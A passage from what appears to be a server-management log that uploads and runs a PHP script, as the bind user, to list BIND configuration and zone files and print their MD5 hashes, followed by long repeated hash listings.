MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:21:07: Establishing a connection
2026-04-30 16:21:08: 

PUT: /tmp/pkp727377

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:21:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp727377; rm /tmp/pkp727377'

2026-04-30 16:21:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:23:18: Establishing a connection
2026-04-30 16:23:18: 

PUT: /tmp/pkp237799

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:23:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp237799; rm /tmp/pkp237799'

2026-04-30 16:23:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
